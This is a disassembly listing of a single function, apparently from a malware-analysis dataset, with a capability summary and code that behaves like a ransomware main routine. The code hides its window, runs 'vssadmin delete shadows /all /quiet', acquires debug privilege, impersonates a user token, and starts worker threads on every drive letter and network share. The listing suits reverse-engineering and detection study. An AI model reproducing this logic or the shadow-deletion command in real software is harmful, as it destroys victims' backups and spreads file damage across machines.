Function at 0x402710
Capabilities:
Acquire debug privileges
Create process on windows
Create thread
Delete volume shadow copies
Enumerate network shares
Hide graphical window

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x134
push ebx
push esi
push edi
call dword [sym.imp.KERNEL32.dll_FreeConsole]
push 0
call dword [sym.imp.KERNEL32.dll_GetConsoleWindow]
push eax
call dword [sym.imp.USER32.dll_ShowWindow]
mov edi, dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push 0x100
call edi
push eax
call dword [sym.imp.KERNEL32.dll_SetPriorityClass]
call fcn.00401a00
call fcn.00401b30
push 0
push str.vssadmin.exe_delete_shadows__all__quiet
call dword [sym.imp.KERNEL32.dll_WinExec]
call fcn.00401da0
call fcn.00401990
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push 0
push 1
push 0
mov dword [0x40763c], eax
call dword [sym.imp.KERNEL32.dll_CreateMutexW]
mov dword [0x407634], eax
mov esi, 0x41
xor ebx, ebx
nop dword [eax]
push 8
push 8
push dword [0x40763c]
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
xor ecx, ecx
push ecx
push ecx
push eax
push 0x4026f0
push ecx
push ecx
mov word [eax], si
mov dword [eax + 2], 0x5c003a
mov word [eax + 6], cx
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov dword [esp + ebx*4 + 0xd0], eax
inc esi
inc ebx
cmp ebx, 0x1a
jle 0x402790
mov dword [esp + 0x3c], ebx
call fcn.00401000
mov edi, dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov ebx, eax
lea eax, [esp + 0x28]
mov dword [esp + 0x2c], 0
push eax
push 0x20
mov dword [esp + 0x30], 0
call edi
mov esi, dword [sym.imp.ADVAPI32.dll_OpenProcessToken]
push eax
call esi
mov edi, dword [esp + 0x28]
lea eax, [esp + 0x40]
push eax
push str.SeDebugPrivilege
push 0
call dword [sym.imp.ADVAPI32.dll_LookupPrivilegeValueW]
test eax, eax
je 0x40284f
mov eax, dword [esp + 0x40]
push 0
push 0
mov dword [esp + 0x58], eax
mov eax, dword [esp + 0x4c]
push 0x10
mov dword [esp + 0x60], eax
lea eax, [esp + 0x58]
push eax
push 0
push edi
mov dword [esp + 0x64], 1
mov dword [esp + 0x70], 2
call dword [sym.imp.ADVAPI32.dll_AdjustTokenPrivileges]
push ebx
push 1
push 0x1000
call dword [sym.imp.KERNEL32.dll_OpenProcess]
lea ecx, [esp + 0x2c]
push ecx
push 0x2000000
push eax
call esi
push dword [esp + 0x2c]
call dword [sym.imp.ADVAPI32.dll_ImpersonateLoggedOnUser]
xor edi, edi
lea eax, [esp + 0x5c]
push edi
push eax
lea eax, [esp + 0x40]
mov dword [esp + 0x2c], edi
push eax
push 0xffffffffffffffff
lea eax, [esp + 0x30]
mov dword [esp + 0x30], edi
push eax
push 2
push edi
call dword [sym.imp.NETAPI32.dll_NetUseEnum]
test eax, eax
jne 0x402a8a
xor ebx, ebx
mov dword [esp + 0x30], ebx
cmp dword [esp + 0x38], ebx
jbe 0x402a80
xor ecx, ecx
mov dword [esp + 0x34], ecx
nop word [eax + eax]
mov eax, dword [esp + 0x20]
mov ecx, dword [ecx + eax + 4]
test ecx, ecx
je 0x402a66
add ecx, 4
mov dword [esp + 0x10], 0x5c
lea edx, [esp + 0x10]
call fcn.00401e70
mov esi, eax
mov dword [esp + 0x1c], 0
push 0
lea eax, [esp + 0x4c]
mov dword [esp + 0x44], esi
push eax
lea eax, [esp + 0x20]
mov dword [esp + 0x20], 0
push eax
push 0xffffffffffffffff
lea eax, [esp + 0x2c]
mov dword [esp + 0x58], 0
push eax
push 1
push esi
call dword [sym.imp.NETAPI32.dll_NetShareEnum]
test eax, eax
jne 0x402a66
mov dword [esp + 0x10], eax
cmp dword [esp + 0x18], eax
jbe 0x402a5c
mov dword [esp + 0x14], eax
nop dword [eax + eax]
push 0x1e
push 8
push dword [0x40763c]
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov ebx, eax
mov dword [ebx], 0x5c
lea edi, [ebx - 2]
nop dword [eax + eax]
mov cx, word [edi + 2]
lea edi, [edi + 2]
test cx, cx
jne 0x402960
mov eax, dword [0x4035f8]
mov edx, esi
mov dword [edi], eax
mov ax, word [edx]
add edx, 2
test ax, ax
jne 0x402975
sub edx, esi
lea edi, [ebx - 2]
mov ax, word [edi + 2]
add edi, 2
test ax, ax
jne 0x402985
mov ecx, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea edi, [ebx - 2]
mov ax, word [edi + 2]
lea edi, [edi + 2]
test ax, ax
jne 0x4029a2
mov eax, dword [0x4035f8]
mov edx, dword [esp + 0x14]
mov dword [edi], eax
mov eax, dword [esp + 0x1c]
mov edx, dword [edx + eax]
mov esi, edx
mov ax, word [edx]
add edx, 2
test ax, ax
jne 0x4029c2
sub edx, esi
lea edi, [ebx - 2]
mov ax, word [edi + 2]
add edi, 2
test ax, ax
jne 0x4029d2
mov ecx, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea edi, [ebx - 2]
nop
mov ax, word [edi + 2]
lea edi, [edi + 2]
test ax, ax
jne 0x4029f0
mov eax, dword [0x4035f8]
mov dword [edi], eax
lea edi, [ebx - 2]
mov ax, word [edi + 2]
lea edi, [edi + 2]
test ax, ax
jne 0x402a06
mov ax, word [0x403610]
push 0
push 0
push ebx
push 0x4026f0
push 0
push 0
mov word [edi], ax
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov edi, dword [esp + 0x24]
mov esi, dword [esp + 0x10]
add dword [esp + 0x14], 0xc
inc esi
mov dword [esp + 0x10], esi
mov dword [esp + edi*4 + 0x60], eax
inc edi
cmp esi, dword [esp + 0x18]
mov esi, dword [esp + 0x40]
mov dword [esp + 0x24], edi
jb 0x402940
mov ebx, dword [esp + 0x30]
push dword [esp + 0x1c]
call dword [sym.imp.NETAPI32.dll_NetApiBufferFree]
mov ecx, dword [esp + 0x34]
inc ebx
add ecx, 0x24
mov dword [esp + 0x30], ebx
mov dword [esp + 0x34], ecx
cmp ebx, dword [esp + 0x38]
jb 0x4028c0
push dword [esp + 0x20]
call dword [sym.imp.NETAPI32.dll_NetApiBufferFree]
mov ebx, dword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
lea eax, [esp + 0x60]
push 0xffffffffffffffff
push 1
push eax
push edi
call ebx
xor esi, esi
test edi, edi
mov edi, dword [sym.imp.KERNEL32.dll_CloseHandle]
js 0x402ac1
mov ebx, dword [esp + 0x24]
nop dword [eax]
push dword [esp + esi*4 + 0x60]
call edi
inc esi
cmp esi, ebx
jle 0x402ab0
mov ebx, dword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
push 0xffffffffffffffff
push 1
lea eax, [esp + 0xd8]
push eax
push dword [esp + 0x48]
call ebx
mov ebx, dword [esp + 0x3c]
xor esi, esi
test ebx, ebx
js 0x402aee
nop dword [eax]
push dword [esp + esi*4 + 0xd0]
call edi
inc esi
cmp esi, ebx
jle 0x402ae0
push dword [0x407634]
call edi
pop edi
xorps xmm0, xmm0
mov byte [0x40765c], 0
pop esi
movups xmmword [0x40764c], xmm0
xor eax, eax
movlpd qword [0x407658], xmm0
pop ebx
mov esp, ebp
pop ebp
ret